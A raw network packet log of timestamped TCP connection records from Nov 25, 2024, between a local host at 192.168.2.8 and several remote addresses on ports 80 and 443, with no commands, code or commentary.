Nov 25, 2024 12:08:50.637192011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.637216091 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.637231112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.638005972 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.638060093 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.638195038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.638248920 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.638892889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.639734983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.639782906 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.640063047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.640104055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.697863102 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.698154926 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.698167086 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.699182987 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.699239016 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.699563026 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.699629068 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.699780941 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.699788094 CET	443	49798	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.743097067 CET	49798	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.761537075 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.761589050 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.761842966 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.761852980 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.761945963 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.761961937 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.762304068 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.762326002 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.762573004 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.762639046 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.762830019 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.762914896 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.762990952 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.763032913 CET	49802	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.767606974 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.767822027 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.767827988 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.767829895 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.767981052 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.767992973 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.768923044 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.768979073 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.769231081 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.769304991 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.769407034 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.769413948 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.769479036 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.769781113 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.769857883 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.769906998 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.795413971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.795504093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.795627117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.795923948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.795936108 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.795969963 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.796834946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.796848059 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.796895027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.797590017 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.797828913 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.797837019 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.797914028 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.798477888 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.798494101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.798662901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.799300909 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.799346924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.799474001 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.799638987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.800246954 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.800256968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.800324917 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.801090002 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.801137924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.801280022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.801322937 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.801975012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.802026033 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.802373886 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.802417040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.802892923 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.803016901 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.803101063 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.803137064 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.803369045 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.803704023 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.803751945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.803786039 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.803862095 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.804593086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.804728031 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.804758072 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.804846048 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.805416107 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.805466890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.805736065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.805844069 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.806314945 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.806402922 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.806703091 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.806762934 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.807243109 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.807255030 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.807290077 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.807343006 CET	443	49802	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.808048964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.808094978 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.808123112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.808168888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.808976889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.808989048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.809037924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.809822083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.809834957 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.809870958 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.810666084 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.810781002 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.810832977 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.811336994 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.811579943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.811661959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.811701059 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.811877966 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.812403917 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.812467098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.812530041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.812576056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.813267946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.813313007 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.813401937 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.813450098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.814205885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.814251900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.814308882 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.814363956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.815120935 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.815197945 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.815200090 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.815248013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.815336943 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.816203117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.816257000 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.816342115 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.816399097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.816997051 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.817054033 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.817219973 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.817269087 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.817781925 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.817888021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.817981005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.818064928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.818536997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.818556070 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.818586111 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.818598032 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.819386005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.819433928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.819586039 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.819652081 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.820272923 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.820327044 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.820434093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.820476055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.820966959 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.820971966 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.820986986 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.820995092 CET	443	49799	13.107.246.40	192.168.2.8
Nov 25, 2024 12:08:50.821134090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.821145058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.821187973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.822015047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.822069883 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.822170019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.822310925 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.822912931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.822926044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.822993040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.823750019 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.823762894 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.823803902 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.824620008 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.824677944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.824841022 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.824920893 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.825536966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.825584888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.825588942 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.825666904 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.826358080 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.826447010 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.826934099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.827003956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.827200890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.827287912 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.827327967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.827377081 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.828114033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.828134060 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.828181982 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.828973055 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.829015970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.829190969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.829243898 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.829857111 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.829869032 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.830024004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.830729961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.830780983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.830796003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.830822945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.831579924 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.831629038 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.831692934 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.831737995 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.832510948 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.832595110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.832607031 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.832659960 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.833333969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.833385944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.833420992 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.833487988 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.834209919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.834292889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.834325075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.834342003 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.835057020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.835103035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.835221052 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.835397959 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.835947037 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.835997105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.836143970 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.836251020 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.836863995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.836909056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.837047100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.837105036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.837676048 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.837724924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.837929964 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.837996006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.838599920 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.838646889 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.838907003 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.838989019 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.839437962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.839488029 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.839690924 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.839732885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.840322018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.840399027 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.840533018 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.840579987 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.841176033 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.841224909 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.867459059 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.867489100 CET	49799	443	192.168.2.8	13.107.246.40
Nov 25, 2024 12:08:50.928704977 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:50.928738117 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:50.928792000 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:50.928800106 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:50.928817034 CET	443	49797	104.40.82.182	192.168.2.8
Nov 25, 2024 12:08:50.928849936 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:50.928869009 CET	49797	443	192.168.2.8	104.40.82.182
Nov 25, 2024 12:08:50.996727943 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.996742010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.996810913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.997046947 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.997117043 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:50.997138977 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:50.997165918 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.001238108 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001249075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001276016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001286983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001311064 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.001336098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.001336098 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.001389980 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001408100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001451969 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.001756907 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.001800060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.001964092 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.002017975 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.002773046 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.002785921 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.002856016 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.003624916 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.003675938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.003854990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.004026890 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.004724026 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.004736900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.004795074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.005388021 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.005400896 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.005435944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.005448103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.006135941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.006201982 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.006285906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.006366968 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.006994009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.007039070 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.007138968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.007646084 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.008023977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.008181095 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.008245945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.008917093 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.008929968 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.009020090 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.009607077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.009681940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.009768963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.009865999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.010634899 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.010648966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.010942936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.011493921 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.011506081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.011537075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.011590004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.011660099 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.011672020 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.011709929 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.011749983 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.011929035 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.011940956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.011976004 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.011993885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:51.012953997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.012965918 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:51.013019085 CET	49744	80	192.168.2.8	185.215.113.206
